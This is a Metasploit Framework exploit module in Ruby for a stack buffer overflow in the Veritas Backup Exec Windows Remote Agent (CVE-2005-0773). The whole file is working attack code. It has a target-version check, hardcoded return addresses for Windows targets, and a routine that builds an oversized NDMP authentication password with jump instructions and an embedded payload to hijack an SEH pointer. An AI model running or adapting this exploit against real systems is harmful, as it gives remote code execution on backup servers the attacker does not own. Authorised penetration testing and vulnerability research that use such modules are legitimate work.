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## # $Id: remote_agent.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::NDMP def initialize(info = {}) super(update_info(info, 'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the Veritas BackupExec Windows Agent software. This vulnerability occurs when a client authentication request is received with type '3' and a long password argument. Reliable execution is obtained by abusing the stack buffer overflow to smash a SEH pointer. }, 'Author' => [ 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9669 $', 'References' => [ [ 'CVE', '2005-0773'], [ 'OSVDB', '17624'], [ 'BID', '14022'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'], [ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets'=> [ [ 'Veritas BE 9.0/9.1/10.0 (All Windows)', { 'Platform' => 'win', 'Rets' => [ 0x0140f8d5, 0x014261b0 ], }, ], [ 'Veritas BE 9.0/9.1/10.0 (Windows 2000)', { 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 0x75022ac4 ], }, ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jun 22 2005')) register_options( [ Opt::RPORT(10000) ], self.class) end def check info = ndmp_info() if (info and info['Version']) print_status(" Vendor: #{info['Vendor']}") print_status("Product: #{info['Product']}") print_status("Version: #{info['Version']}") if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/) return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") resp = ndmp_recv() username = 'X' * 512 password = rand_text_alphanumeric(8192) # Place our payload early in the request and jump backwards into it password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded # This offset is required for version 10.0 password[3536, 2] = "\xeb\x06" password[3540, 4] = [ target['Rets'][1] ].pack('V') password[3544, 5] = "\xe9" + [-1037].pack('V') # This offset is required for version 9.0/9.1 password[4524, 2] = "\xeb\x06" password[4528, 4] = [ target['Rets'][0] ].pack('V') password[4532, 5] = "\xe9" + [-2025].pack('V') # Create the authentication request auth = [ 1, # Sequence number Time.now.to_i, # Current time 0, # Message type (request) 0x901, # Message name (connect_client_auth) 0, # Reply sequence number 0, # Error status 3# Authentication type ].pack('NNNNNNN') + [ username.length ].pack('N') + username + [ password.length ].pack('N') + password + [ 4 ].pack('N') print_status("Sending authentication request...") ndmp_send(auth) handler disconnect end end |
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